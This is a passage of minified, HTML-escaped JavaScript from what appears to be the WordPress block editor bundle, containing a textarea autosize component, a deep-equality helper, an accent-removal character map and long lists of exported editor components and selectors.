n=d(e),o=document.documentElement&amp;&amp;document.documentElement.scrollTop;e.style.height=&quot;&quot;,e.style.height=e.scrollHeight+t+&quot;px&quot;,s=e.clientWidth,n.forEach((function(e){e.node.scrollTop=e.scrollTop})),o&amp;&amp;(document.documentElement.scrollTop=o)}}function p(){u();var t=Math.round(parseFloat(e.style.height)),s=window.getComputedStyle(e,null),o=&quot;content-box&quot;===s.boxSizing?Math.round(parseFloat(s.height)):e.offsetHeight;if(o&lt;t?&quot;hidden&quot;===s.overflowY&amp;&amp;(c(&quot;scroll&quot;),u(),o=&quot;content-box&quot;===s.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight):&quot;hidden&quot;!==s.overflowY&amp;&amp;(c(&quot;hidden&quot;),u(),o=&quot;content-box&quot;===s.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight),n!==o){n=o;var i=r(&quot;autosize:resized&quot;);try{e.dispatchEvent(i)}catch(e){}}}}function a(e){var t=o.get(e);t&amp;&amp;t.destroy()}function l(e){var t=o.get(e);t&amp;&amp;t.update()}var c=null;&quot;undefined&quot;==typeof window||&quot;function&quot;!=typeof window.getComputedStyle?((c=function(e){return e}).destroy=function(e){return e},c.update=function(e){return e}):((c=function(e,t){return e&amp;&amp;Array.prototype.forEach.call(e.length?e:[e],(function(e){return i(e,t)})),e}).destroy=function(e){return e&amp;&amp;Array.prototype.forEach.call(e.length?e:[e],a),e},c.update=function(e){return e&amp;&amp;Array.prototype.forEach.call(e.length?e:[e],l),e}),t.default=c,e.exports=t.default},void 0===(o=&quot;function&quot;==typeof s?s.apply(t,n):s)||(e.exports=o)},4462:function(e,t,s){&quot;use strict&quot;;var n,o=this&amp;&amp;this.__extends||(n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&amp;&amp;function(e,t){e.__proto__=t}||function(e,t){for(var s in t)t.hasOwnProperty(s)&amp;&amp;(e[s]=t[s])},function(e,t){function s(){this.constructor=e}n(e,t),e.prototype=null===t?Object.create(t):(s.prototype=t.prototype,new s)}),r=this&amp;&amp;this.__assign||Object.assign||function(e){for(var t,s=1,n=arguments.length;s&lt;n;s++)for(var o in t=arguments[s])Object.prototype.hasOwnProperty.call(t,o)&amp;&amp;(e[o]=t[o]);return e},i=this&amp;&amp;this.__rest||function(e,t){var s={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&amp;&amp;t.indexOf(n)&lt;0&amp;&amp;(s[n]=e[n]);if(null!=e&amp;&amp;&quot;function&quot;==typeof Object.getOwnPropertySymbols){var o=0;for(n=Object.getOwnPropertySymbols(e);o&lt;n.length;o++)t.indexOf(n[o])&lt;0&amp;&amp;(s[n[o]]=e[n[o]])}return s};t.__esModule=!0;var a=s(1609),l=s(5826),c=s(4306),d=s(461),u=&quot;autosize:resized&quot;,p=function(e){function t(){var t=null!==e&amp;&amp;e.apply(this,arguments)||this;return t.state={lineHeight:null},t.textarea=null,t.onResize=function(e){t.props.onResize&amp;&amp;t.props.onResize(e)},t.updateLineHeight=function(){t.textarea&amp;&amp;t.setState({lineHeight:d(t.textarea)})},t.onChange=function(e){var s=t.props.onChange;t.currentValue=e.currentTarget.value,s&amp;&amp;s(e)},t}return o(t,e),t.prototype.componentDidMount=function(){var e=this,t=this.props,s=t.maxRows,n=t.async;&quot;number&quot;==typeof s&amp;&amp;this.updateLineHeight(),&quot;number&quot;==typeof s||n?setTimeout((function(){return e.textarea&amp;&amp;c(e.textarea)})):this.textarea&amp;&amp;c(this.textarea),this.textarea&amp;&amp;this.textarea.addEventListener(u,this.onResize)},t.prototype.componentWillUnmount=function(){this.textarea&amp;&amp;(this.textarea.removeEventListener(u,this.onResize),c.destroy(this.textarea))},t.prototype.render=function(){var e=this,t=this.props,s=(t.onResize,t.maxRows),n=(t.onChange,t.style),o=(t.innerRef,t.children),l=i(t,[&quot;onResize&quot;,&quot;maxRows&quot;,&quot;onChange&quot;,&quot;style&quot;,&quot;innerRef&quot;,&quot;children&quot;]),c=this.state.lineHeight,d=s&amp;&amp;c?c*s:null;return a.createElement(&quot;textarea&quot;,r({},l,{onChange:this.onChange,style:d?r({},n,{maxHeight:d}):n,ref:function(t){e.textarea=t,&quot;function&quot;==typeof e.props.innerRef?e.props.innerRef(t):e.props.innerRef&amp;&amp;(e.props.innerRef.current=t)}}),o)},t.prototype.componentDidUpdate=function(){this.textarea&amp;&amp;c.update(this.textarea)},t.defaultProps={rows:1,async:!1},t.propTypes={rows:l.number,maxRows:l.number,onResize:l.func,innerRef:l.any,async:l.bool},t}(a.Component);t.TextareaAutosize=a.forwardRef((function(e,t){return a.createElement(p,r({},e,{innerRef:t}))}))},5215:e=&gt;{&quot;use strict&quot;;e.exports=function e(t,s){if(t===s)return!0;if(t&amp;&amp;s&amp;&amp;&quot;object&quot;==typeof t&amp;&amp;&quot;object&quot;==typeof s){if(t.constructor!==s.constructor)return!1;var n,o,r;if(Array.isArray(t)){if((n=t.length)!=s.length)return!1;for(o=n;0!=o--;)if(!e(t[o],s[o]))return!1;return!0}if(t.constructor===RegExp)return t.source===s.source&amp;&amp;t.flags===s.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===s.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===s.toString();if((n=(r=Object.keys(t)).length)!==Object.keys(s).length)return!1;for(o=n;0!=o--;)if(!Object.prototype.hasOwnProperty.call(s,r[o]))return!1;for(o=n;0!=o--;){var i=r[o];if(!e(t[i],s[i]))return!1}return!0}return t!=t&amp;&amp;s!=s}},5826:(e,t,s)=&gt;{e.exports=s(628)()},6109:e=&gt;{e.exports=function(e,t,s){return((s=window.getComputedStyle)?s(e):e.currentStyle)[t.replace(/-(\w)/gi,(function(e,t){return t.toUpperCase()}))]}},9681:e=&gt;{var t={À:&quot;A&quot;,Á:&quot;A&quot;,Â:&quot;A&quot;,Ã:&quot;A&quot;,Ä:&quot;A&quot;,Å:&quot;A&quot;,Ấ:&quot;A&quot;,Ắ:&quot;A&quot;,Ẳ:&quot;A&quot;,Ẵ:&quot;A&quot;,Ặ:&quot;A&quot;,Æ:&quot;AE&quot;,Ầ:&quot;A&quot;,Ằ:&quot;A&quot;,Ȃ:&quot;A&quot;,Ả:&quot;A&quot;,Ạ:&quot;A&quot;,Ẩ:&quot;A&quot;,Ẫ:&quot;A&quot;,Ậ:&quot;A&quot;,Ç:&quot;C&quot;,Ḉ:&quot;C&quot;,È:&quot;E&quot;,É:&quot;E&quot;,Ê:&quot;E&quot;,Ë:&quot;E&quot;,Ế:&quot;E&quot;,Ḗ:&quot;E&quot;,Ề:&quot;E&quot;,Ḕ:&quot;E&quot;,Ḝ:&quot;E&quot;,Ȇ:&quot;E&quot;,Ẻ:&quot;E&quot;,Ẽ:&quot;E&quot;,Ẹ:&quot;E&quot;,Ể:&quot;E&quot;,Ễ:&quot;E&quot;,Ệ:&quot;E&quot;,Ì:&quot;I&quot;,Í:&quot;I&quot;,Î:&quot;I&quot;,Ï:&quot;I&quot;,Ḯ:&quot;I&quot;,Ȋ:&quot;I&quot;,Ỉ:&quot;I&quot;,Ị:&quot;I&quot;,Ð:&quot;D&quot;,Ñ:&quot;N&quot;,Ò:&quot;O&quot;,Ó:&quot;O&quot;,Ô:&quot;O&quot;,Õ:&quot;O&quot;,Ö:&quot;O&quot;,Ø:&quot;O&quot;,Ố:&quot;O&quot;,Ṍ:&quot;O&quot;,Ṓ:&quot;O&quot;,Ȏ:&quot;O&quot;,Ỏ:&quot;O&quot;,Ọ:&quot;O&quot;,Ổ:&quot;O&quot;,Ỗ:&quot;O&quot;,Ộ:&quot;O&quot;,Ờ:&quot;O&quot;,Ở:&quot;O&quot;,Ỡ:&quot;O&quot;,Ớ:&quot;O&quot;,Ợ:&quot;O&quot;,Ù:&quot;U&quot;,Ú:&quot;U&quot;,Û:&quot;U&quot;,Ü:&quot;U&quot;,Ủ:&quot;U&quot;,Ụ:&quot;U&quot;,Ử:&quot;U&quot;,Ữ:&quot;U&quot;,Ự:&quot;U&quot;,Ý:&quot;Y&quot;,à:&quot;a&quot;,á:&quot;a&quot;,â:&quot;a&quot;,ã:&quot;a&quot;,ä:&quot;a&quot;,å:&quot;a&quot;,ấ:&quot;a&quot;,ắ:&quot;a&quot;,ẳ:&quot;a&quot;,ẵ:&quot;a&quot;,ặ:&quot;a&quot;,æ:&quot;ae&quot;,ầ:&quot;a&quot;,ằ:&quot;a&quot;,ȃ:&quot;a&quot;,ả:&quot;a&quot;,ạ:&quot;a&quot;,ẩ:&quot;a&quot;,ẫ:&quot;a&quot;,ậ:&quot;a&quot;,ç:&quot;c&quot;,ḉ:&quot;c&quot;,è:&quot;e&quot;,é:&quot;e&quot;,ê:&quot;e&quot;,ë:&quot;e&quot;,ế:&quot;e&quot;,ḗ:&quot;e&quot;,ề:&quot;e&quot;,ḕ:&quot;e&quot;,ḝ:&quot;e&quot;,ȇ:&quot;e&quot;,ẻ:&quot;e&quot;,ẽ:&quot;e&quot;,ẹ:&quot;e&quot;,ể:&quot;e&quot;,ễ:&quot;e&quot;,ệ:&quot;e&quot;,ì:&quot;i&quot;,í:&quot;i&quot;,î:&quot;i&quot;,ï:&quot;i&quot;,ḯ:&quot;i&quot;,ȋ:&quot;i&quot;,ỉ:&quot;i&quot;,ị:&quot;i&quot;,ð:&quot;d&quot;,ñ:&quot;n&quot;,ò:&quot;o&quot;,ó:&quot;o&quot;,ô:&quot;o&quot;,õ:&quot;o&quot;,ö:&quot;o&quot;,ø:&quot;o&quot;,ố:&quot;o&quot;,ṍ:&quot;o&quot;,ṓ:&quot;o&quot;,ȏ:&quot;o&quot;,ỏ:&quot;o&quot;,ọ:&quot;o&quot;,ổ:&quot;o&quot;,ỗ:&quot;o&quot;,ộ:&quot;o&quot;,ờ:&quot;o&quot;,ở:&quot;o&quot;,ỡ:&quot;o&quot;,ớ:&quot;o&quot;,ợ:&quot;o&quot;,ù:&quot;u&quot;,ú:&quot;u&quot;,û:&quot;u&quot;,ü:&quot;u&quot;,ủ:&quot;u&quot;,ụ:&quot;u&quot;,ử:&quot;u&quot;,ữ:&quot;u&quot;,ự:&quot;u&quot;,ý:&quot;y&quot;,ÿ:&quot;y&quot;,Ā:&quot;A&quot;,ā:&quot;a&quot;,Ă:&quot;A&quot;,ă:&quot;a&quot;,Ą:&quot;A&quot;,ą:&quot;a&quot;,Ć:&quot;C&quot;,ć:&quot;c&quot;,Ĉ:&quot;C&quot;,ĉ:&quot;c&quot;,Ċ:&quot;C&quot;,ċ:&quot;c&quot;,Č:&quot;C&quot;,č:&quot;c&quot;,C̆:&quot;C&quot;,c̆:&quot;c&quot;,Ď:&quot;D&quot;,ď:&quot;d&quot;,Đ:&quot;D&quot;,đ:&quot;d&quot;,Ē:&quot;E&quot;,ē:&quot;e&quot;,Ĕ:&quot;E&quot;,ĕ:&quot;e&quot;,Ė:&quot;E&quot;,ė:&quot;e&quot;,Ę:&quot;E&quot;,ę:&quot;e&quot;,Ě:&quot;E&quot;,ě:&quot;e&quot;,Ĝ:&quot;G&quot;,Ǵ:&quot;G&quot;,ĝ:&quot;g&quot;,ǵ:&quot;g&quot;,Ğ:&quot;G&quot;,ğ:&quot;g&quot;,Ġ:&quot;G&quot;,ġ:&quot;g&quot;,Ģ:&quot;G&quot;,ģ:&quot;g&quot;,Ĥ:&quot;H&quot;,ĥ:&quot;h&quot;,Ħ:&quot;H&quot;,ħ:&quot;h&quot;,Ḫ:&quot;H&quot;,ḫ:&quot;h&quot;,Ĩ:&quot;I&quot;,ĩ:&quot;i&quot;,Ī:&quot;I&quot;,ī:&quot;i&quot;,Ĭ:&quot;I&quot;,ĭ:&quot;i&quot;,Į:&quot;I&quot;,į:&quot;i&quot;,İ:&quot;I&quot;,ı:&quot;i&quot;,Ĳ:&quot;IJ&quot;,ĳ:&quot;ij&quot;,Ĵ:&quot;J&quot;,ĵ:&quot;j&quot;,Ķ:&quot;K&quot;,ķ:&quot;k&quot;,Ḱ:&quot;K&quot;,ḱ:&quot;k&quot;,K̆:&quot;K&quot;,k̆:&quot;k&quot;,Ĺ:&quot;L&quot;,ĺ:&quot;l&quot;,Ļ:&quot;L&quot;,ļ:&quot;l&quot;,Ľ:&quot;L&quot;,ľ:&quot;l&quot;,Ŀ:&quot;L&quot;,ŀ:&quot;l&quot;,Ł:&quot;l&quot;,ł:&quot;l&quot;,Ḿ:&quot;M&quot;,ḿ:&quot;m&quot;,M̆:&quot;M&quot;,m̆:&quot;m&quot;,Ń:&quot;N&quot;,ń:&quot;n&quot;,Ņ:&quot;N&quot;,ņ:&quot;n&quot;,Ň:&quot;N&quot;,ň:&quot;n&quot;,ŉ:&quot;n&quot;,N̆:&quot;N&quot;,n̆:&quot;n&quot;,Ō:&quot;O&quot;,ō:&quot;o&quot;,Ŏ:&quot;O&quot;,ŏ:&quot;o&quot;,Ő:&quot;O&quot;,ő:&quot;o&quot;,Œ:&quot;OE&quot;,œ:&quot;oe&quot;,P̆:&quot;P&quot;,p̆:&quot;p&quot;,Ŕ:&quot;R&quot;,ŕ:&quot;r&quot;,Ŗ:&quot;R&quot;,ŗ:&quot;r&quot;,Ř:&quot;R&quot;,ř:&quot;r&quot;,R̆:&quot;R&quot;,r̆:&quot;r&quot;,Ȓ:&quot;R&quot;,ȓ:&quot;r&quot;,Ś:&quot;S&quot;,ś:&quot;s&quot;,Ŝ:&quot;S&quot;,ŝ:&quot;s&quot;,Ş:&quot;S&quot;,Ș:&quot;S&quot;,ș:&quot;s&quot;,ş:&quot;s&quot;,Š:&quot;S&quot;,š:&quot;s&quot;,Ţ:&quot;T&quot;,ţ:&quot;t&quot;,ț:&quot;t&quot;,Ț:&quot;T&quot;,Ť:&quot;T&quot;,ť:&quot;t&quot;,Ŧ:&quot;T&quot;,ŧ:&quot;t&quot;,T̆:&quot;T&quot;,t̆:&quot;t&quot;,Ũ:&quot;U&quot;,ũ:&quot;u&quot;,Ū:&quot;U&quot;,ū:&quot;u&quot;,Ŭ:&quot;U&quot;,ŭ:&quot;u&quot;,Ů:&quot;U&quot;,ů:&quot;u&quot;,Ű:&quot;U&quot;,ű:&quot;u&quot;,Ų:&quot;U&quot;,ų:&quot;u&quot;,Ȗ:&quot;U&quot;,ȗ:&quot;u&quot;,V̆:&quot;V&quot;,v̆:&quot;v&quot;,Ŵ:&quot;W&quot;,ŵ:&quot;w&quot;,Ẃ:&quot;W&quot;,ẃ:&quot;w&quot;,X̆:&quot;X&quot;,x̆:&quot;x&quot;,Ŷ:&quot;Y&quot;,ŷ:&quot;y&quot;,Ÿ:&quot;Y&quot;,Y̆:&quot;Y&quot;,y̆:&quot;y&quot;,Ź:&quot;Z&quot;,ź:&quot;z&quot;,Ż:&quot;Z&quot;,ż:&quot;z&quot;,Ž:&quot;Z&quot;,ž:&quot;z&quot;,ſ:&quot;s&quot;,ƒ:&quot;f&quot;,Ơ:&quot;O&quot;,ơ:&quot;o&quot;,Ư:&quot;U&quot;,ư:&quot;u&quot;,Ǎ:&quot;A&quot;,ǎ:&quot;a&quot;,Ǐ:&quot;I&quot;,ǐ:&quot;i&quot;,Ǒ:&quot;O&quot;,ǒ:&quot;o&quot;,Ǔ:&quot;U&quot;,ǔ:&quot;u&quot;,Ǖ:&quot;U&quot;,ǖ:&quot;u&quot;,Ǘ:&quot;U&quot;,ǘ:&quot;u&quot;,Ǚ:&quot;U&quot;,ǚ:&quot;u&quot;,Ǜ:&quot;U&quot;,ǜ:&quot;u&quot;,Ứ:&quot;U&quot;,ứ:&quot;u&quot;,Ṹ:&quot;U&quot;,ṹ:&quot;u&quot;,Ǻ:&quot;A&quot;,ǻ:&quot;a&quot;,Ǽ:&quot;AE&quot;,ǽ:&quot;ae&quot;,Ǿ:&quot;O&quot;,ǿ:&quot;o&quot;,Þ:&quot;TH&quot;,þ:&quot;th&quot;,Ṕ:&quot;P&quot;,ṕ:&quot;p&quot;,Ṥ:&quot;S&quot;,ṥ:&quot;s&quot;,X́:&quot;X&quot;,x́:&quot;x&quot;,Ѓ:&quot;Г&quot;,ѓ:&quot;г&quot;,Ќ:&quot;К&quot;,ќ:&quot;к&quot;,A̋:&quot;A&quot;,a̋:&quot;a&quot;,E̋:&quot;E&quot;,e̋:&quot;e&quot;,I̋:&quot;I&quot;,i̋:&quot;i&quot;,Ǹ:&quot;N&quot;,ǹ:&quot;n&quot;,Ồ:&quot;O&quot;,ồ:&quot;o&quot;,Ṑ:&quot;O&quot;,ṑ:&quot;o&quot;,Ừ:&quot;U&quot;,ừ:&quot;u&quot;,Ẁ:&quot;W&quot;,ẁ:&quot;w&quot;,Ỳ:&quot;Y&quot;,ỳ:&quot;y&quot;,Ȁ:&quot;A&quot;,ȁ:&quot;a&quot;,Ȅ:&quot;E&quot;,ȅ:&quot;e&quot;,Ȉ:&quot;I&quot;,ȉ:&quot;i&quot;,Ȍ:&quot;O&quot;,ȍ:&quot;o&quot;,Ȑ:&quot;R&quot;,ȑ:&quot;r&quot;,Ȕ:&quot;U&quot;,ȕ:&quot;u&quot;,B̌:&quot;B&quot;,b̌:&quot;b&quot;,Č̣:&quot;C&quot;,č̣:&quot;c&quot;,Ê̌:&quot;E&quot;,ê̌:&quot;e&quot;,F̌:&quot;F&quot;,f̌:&quot;f&quot;,Ǧ:&quot;G&quot;,ǧ:&quot;g&quot;,Ȟ:&quot;H&quot;,ȟ:&quot;h&quot;,J̌:&quot;J&quot;,ǰ:&quot;j&quot;,Ǩ:&quot;K&quot;,ǩ:&quot;k&quot;,M̌:&quot;M&quot;,m̌:&quot;m&quot;,P̌:&quot;P&quot;,p̌:&quot;p&quot;,Q̌:&quot;Q&quot;,q̌:&quot;q&quot;,Ř̩:&quot;R&quot;,ř̩:&quot;r&quot;,Ṧ:&quot;S&quot;,ṧ:&quot;s&quot;,V̌:&quot;V&quot;,v̌:&quot;v&quot;,W̌:&quot;W&quot;,w̌:&quot;w&quot;,X̌:&quot;X&quot;,x̌:&quot;x&quot;,Y̌:&quot;Y&quot;,y̌:&quot;y&quot;,A̧:&quot;A&quot;,a̧:&quot;a&quot;,B̧:&quot;B&quot;,b̧:&quot;b&quot;,Ḑ:&quot;D&quot;,ḑ:&quot;d&quot;,Ȩ:&quot;E&quot;,ȩ:&quot;e&quot;,Ɛ̧:&quot;E&quot;,ɛ̧:&quot;e&quot;,Ḩ:&quot;H&quot;,ḩ:&quot;h&quot;,I̧:&quot;I&quot;,i̧:&quot;i&quot;,Ɨ̧:&quot;I&quot;,ɨ̧:&quot;i&quot;,M̧:&quot;M&quot;,m̧:&quot;m&quot;,O̧:&quot;O&quot;,o̧:&quot;o&quot;,Q̧:&quot;Q&quot;,q̧:&quot;q&quot;,U̧:&quot;U&quot;,u̧:&quot;u&quot;,X̧:&quot;X&quot;,x̧:&quot;x&quot;,Z̧:&quot;Z&quot;,z̧:&quot;z&quot;,й:&quot;и&quot;,Й:&quot;И&quot;,ё:&quot;е&quot;,Ё:&quot;Е&quot;},s=Object.keys(t).join(&quot;|&quot;),n=new RegExp(s,&quot;g&quot;),o=new RegExp(s,&quot;&quot;);function r(e){return t[e]}var i=function(e){return e.replace(n,r)};e.exports=i,e.exports.has=function(e){return!!e.match(o)},e.exports.remove=i}},t={};function s(n){var o=t[n];if(void 0!==o)return o.exports;var r=t[n]={exports:{}};return e[n].call(r.exports,r,r.exports,s),r.exports}s.n=e=&gt;{var t=e&amp;&amp;e.__esModule?()=&gt;e.default:()=&gt;e;return s.d(t,{a:t}),t},s.d=(e,t)=&gt;{for(var n in t)s.o(t,n)&amp;&amp;!s.o(e,n)&amp;&amp;Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},s.o=(e,t)=&gt;Object.prototype.hasOwnProperty.call(e,t),s.r=e=&gt;{&quot;undefined&quot;!=typeof Symbol&amp;&amp;Symbol.toStringTag&amp;&amp;Object.defineProperty(e,Symbol.toStringTag,{value:&quot;Module&quot;}),Object.defineProperty(e,&quot;__esModule&quot;,{value:!0})};var n={};(()=&gt;{&quot;use strict&quot;;s.r(n),s.d(n,{AlignmentToolbar:()=&gt;Yh,Autocomplete:()=&gt;Zh,AutosaveMonitor:()=&gt;Oc,BlockAlignmentToolbar:()=&gt;qh,BlockControls:()=&gt;Kh,BlockEdit:()=&gt;Qh,BlockEditorKeyboardShortcuts:()=&gt;Xh,BlockFormatControls:()=&gt;Jh,BlockIcon:()=&gt;eg,BlockInspector:()=&gt;tg,BlockList:()=&gt;sg,BlockMover:()=&gt;ng,BlockNavigationDropdown:()=&gt;og,BlockSelectionClearer:()=&gt;rg,BlockSettingsMenu:()=&gt;ig,BlockTitle:()=&gt;ag,BlockToolbar:()=&gt;lg,CharacterCount:()=&gt;Oh,ColorPalette:()=&gt;cg,ContrastChecker:()=&gt;dg,CopyHandler:()=&gt;ug,DefaultBlockAppender:()=&gt;pg,DocumentBar:()=&gt;Gc,DocumentOutline:()=&gt;ed,DocumentOutlineCheck:()=&gt;td,EditorHistoryRedo:()=&gt;rd,EditorHistoryUndo:()=&gt;id,EditorKeyboardShortcuts:()=&gt;kl,EditorKeyboardShortcutsRegister:()=&gt;sd,EditorNotices:()=&gt;ld,EditorProvider:()=&gt;Al,EditorSnackbars:()=&gt;dd,EntitiesSavedStates:()=&gt;yd,ErrorBoundary:()=&gt;kd,FontSizePicker:()=&gt;mg,InnerBlocks:()=&gt;gg,Inserter:()=&gt;hg,InspectorAdvancedControls:()=&gt;_g,InspectorControls:()=&gt;fg,LocalAutosaveMonitor:()=&gt;Ed,MediaPlaceholder:()=&gt;Sg,MediaUpload:()=&gt;kg,MediaUploadCheck:()=&gt;Cg,MultiSelectScrollIntoView:()=&gt;Pg,NavigableToolbar:()=&gt;jg,ObserveTyping:()=&gt;Eg,PageAttributesCheck:()=&gt;Td,PageAttributesOrder:()=&gt;Nd,PageAttributesPanel:()=&gt;Wd,PageAttributesParent:()=&gt;zd,PageTemplate:()=&gt;nu,PanelColorSettings:()=&gt;bg,PlainText:()=&gt;yg,PluginBlockSettingsMenuItem:()=&gt;_u,PluginDocumentSettingPanel:()=&gt;gu,PluginMoreMenuItem:()=&gt;fu,PluginPostPublishPanel:()=&gt;vu,PluginPostStatusInfo:()=&gt;Cu,PluginPrePublishPanel:()=&gt;Tu,PluginPreviewMenuItem:()=&gt;Iu,PluginSidebar:()=&gt;Bu,PluginSidebarMoreMenuItem:()=&gt;Nu,PostAuthor:()=&gt;Wu,PostAuthorCheck:()=&gt;Zu,PostAuthorPanel:()=&gt;qu,PostComments:()=&gt;Qu,PostDiscussionPanel:()=&gt;sp,PostExcerpt:()=&gt;np,PostExcerptCheck:()=&gt;op,PostExcerptPanel:()=&gt;up,PostFeaturedImage:()=&gt;wp,PostFeaturedImageCheck:()=&gt;gp,PostFeaturedImagePanel:()=&gt;kp,PostFormat:()=&gt;jp,PostFormatCheck:()=&gt;Cp,PostLastRevision:()=&gt;Bp,PostLastRevisionCheck:()=&gt;Ep,PostLastRevisionPanel:()=&gt;Np,PostLockedModal:()=&gt;Rp,PostPendingStatus:()=&gt;Ap,PostPendingStatusCheck:()=&gt;Dp,PostPingbacks:()=&gt;Xu,PostPreviewButton:()=&gt;Mp,PostPublishButton:()=&gt;Vp,PostPublishButtonLabel:()=&gt;Lp,PostPublishPanel:()=&gt;Ym,PostSavedState:()=&gt;nh,PostSchedule:()=&gt;am,PostScheduleCheck:()=&gt;oh,PostScheduleLabel:()=&gt;cm,PostSchedulePanel:()=&gt;ih,PostSticky:()=&gt;Xm,PostStickyCheck:()=&gt;Qm,PostSwitchToDraftButton:()=&gt;ah,PostSyncStatus:()=&gt;lh,PostTaxonomies:()=&gt;dh,PostTaxonomiesCheck:()=&gt;uh,PostTaxonomiesFlatTermSelector:()=&gt;wm,PostTaxonomiesHierarchicalTermSelector:()=&gt;Dm,PostTaxonomiesPanel:()=&gt;mh,PostTemplatePanel:()=&gt;Vu,PostTextEditor:()=&gt;gh,PostTitle:()=&gt;vh,PostTitleRaw:()=&gt;wh,PostTrash:()=&gt;kh,PostTrashCheck:()=&gt;Sh,PostTypeSupportCheck:()=&gt;Id,PostURL:()=&gt;Ch,PostURLCheck:()=&gt;Ph,PostURLLabel:()=&gt;jh,PostURLPanel:()=&gt;Th,PostVisibility:()=&gt;zp,PostVisibilityCheck:()=&gt;Nh,PostVisibilityLabel:()=&gt;Gp,RichText:()=&gt;Wh,RichTextShortcut:()=&gt;xg,RichTextToolbarButton:()=&gt;vg,ServerSideRender:()=&gt;zh(),SkipToSelectedBlock:()=&gt;Tg,TableOfContents:()=&gt;Vh,TextEditorGlobalKeyboardShortcuts:()=&gt;$g,ThemeSupportCheck:()=&gt;hp,TimeToRead:()=&gt;Lh,URLInput:()=&gt;Ig,URLInputButton:()=&gt;Bg,URLPopover:()=&gt;Ng,UnsavedChangesWarning:()=&gt;Uh,VisualEditorGlobalKeyboardShortcuts:()=&gt;Gg,Warning:()=&gt;Rg,WordCount:()=&gt;Ah,WritingFlow:()=&gt;Dg,__unstableRichTextInputEvent:()=&gt;wg,cleanForSlug:()=&gt;Wg,createCustomColorsHOC:()=&gt;Ag,getColorClassName:()=&gt;Mg,getColorObjectByAttributeValues:()=&gt;Lg,getColorObjectByColorValue:()=&gt;Og,getFontSize:()=&gt;Fg,getFontSizeClass:()=&gt;Vg,getTemplatePartIcon:()=&gt;H,mediaUpload:()=&gt;yi,privateApis:()=&gt;Xy,registerEntityAction:()=&gt;Jy,registerEntityField:()=&gt;tx,store:()=&gt;vc,storeConfig:()=&gt;xc,transformStyles:()=&gt;g.transformStyles,unregisterEntityAction:()=&gt;ex,unregisterEntityField:()=&gt;sx,useEntitiesSavedStatesIsDirty:()=&gt;fd,usePostScheduleLabel:()=&gt;dm,usePostURLLabel:()=&gt;Eh,usePostVisibilityLabel:()=&gt;$p,userAutocompleter:()=&gt;Sc,withColorContext:()=&gt;Ug,withColors:()=&gt;Hg,withFontSizes:()=&gt;zg});var e={};s.r(e),s.d(e,{__experimentalGetDefaultTemplatePartAreas:()=&gt;ls,__experimentalGetDefaultTemplateType:()=&gt;cs,__experimentalGetDefaultTemplateTypes:()=&gt;as,__experimentalGetTemplateInfo:()=&gt;ds,__unstableIsEditorReady:()=&gt;et,canInsertBlockType:()=&gt;ns,canUserUseUnfilteredHTML:()=&gt;$e,didPostSaveRequestFail:()=&gt;Ee,didPostSaveRequestSucceed:()=&gt;je,getActivePostLock:()=&gt;Ge,getAdjacentBlockClientId:()=&gt;Et,getAutosaveAttribute:()=&gt;me,getBlock:()=&gt;mt,getBlockAttributes:()=&gt;pt,getBlockCount:()=&gt;yt,getBlockHierarchyRootClientId:()=&gt;jt,getBlockIndex:()=&gt;Ht,getBlockInsertionPoint:()=&gt;Xt,getBlockListSettings:()=&gt;is,getBlockMode:()=&gt;qt,getBlockName:()=&gt;dt,getBlockOrder:()=&gt;Ut,getBlockRootClientId:()=&gt;Pt,getBlockSelectionEnd:()=&gt;vt,getBlockSelectionStart:()=&gt;xt,getBlocks:()=&gt;ht,getBlocksByClientId:()=&gt;bt,getClientIdsOfDescendants:()=&gt;gt,getClientIdsWithDescendants:()=&gt;_t,getCurrentPost:()=&gt;ne,getCurrentPostAttribute:()=&gt;de,getCurrentPostId:()=&gt;re,getCurrentPostLastRevisionId:()=&gt;le,getCurrentPostRevisionsCount:()=&gt;ae,getCurrentPostType:()=&gt;oe,getCurrentTemplateId:()=&gt;ie,getDeviceType:()=&gt;nt,getEditedPostAttribute:()=&gt;pe,getEditedPostContent:()=&gt;Re,getEditedPostPreviewLink:()=&gt;Be,getEditedPostSlug:()=&gt;Le,getEditedPostVisibility:()=&gt;he,getEditorBlocks:()=&gt;Ze,getEditorMode:()=&gt;it,getEditorSelection:()=&gt;Je,getEditorSelectionEnd:()=&gt;Xe,getEditorSelectionStart:()=&gt;Qe,getEditorSettings:()=&gt;tt,getFirstMultiSelectedBlockClientId:()=&gt;Dt,getGlobalBlockCount:()=&gt;ft,getInserterItems:()=&gt;os,getLastMultiSelectedBlockClientId:()=&gt;At,getMultiSelectedBlockClientIds:()=&gt;Nt,getMultiSelectedBlocks:()=&gt;Rt,getMultiSelectedBlocksEndClientId:()=&gt;Vt,getMultiSelectedBlocksStartClientId:()=&gt;Ft,getNextBlockClientId:()=&gt;It,getPermalink:()=&gt;Me,getPermalinkParts:()=&gt;Oe,getPostEdits:()=&gt;ce,getPostLockUser:()=&gt;ze,getPostTypeLabel:()=&gt;us,getPreviousBlockClientId:()=&gt;Tt,getRenderingMode:()=&gt;st,getSelectedBlock:()=&gt;Ct,getSelectedBlockClientId:()=&gt;kt,getSelectedBlockCount:()=&gt;wt,getSelectedBlocksInitialCaretPosition:()=&gt;Bt,getStateBeforeOptimisticTransaction:()=&gt;at,getSuggestedPostFormat:()=&gt;Ne,getTemplate:()=&gt;ts,getTemplateLock:()=&gt;ss,hasChangedContent:()=&gt;J,hasEditorRedo:()=&gt;Q,hasEditorUndo:()=&gt;K,hasInserterItems:()=&gt;rs,hasMultiSelection:()=&gt;Wt,hasNonPostEntityChanges:()=&gt;te,hasSelectedBlock:()=&gt;St,hasSelectedInnerBlock:()=&gt;Gt,inSomeHistory:()=&gt;lt,isAncestorMultiSelected:()=&gt;Ot,isAutosavingPost:()=&gt;Te,isBlockInsertionPointVisible:()=&gt;Jt,isBlockMultiSelected:()=&gt;Lt,isBlockSelected:()=&gt;zt,isBlockValid:()=&gt;ut,isBlockWithinSelection:()=&gt;$t,isCaretWithinFormattedText:()=&gt;Qt,isCleanNewPost:()=&gt;se,isCurrentPostPending:()=&gt;ge,isCurrentPostPublished:()=&gt;_e,isCurrentPostScheduled:()=&gt;fe,isDeletingPost:()=&gt;ke,isEditedPostAutosaveable:()=&gt;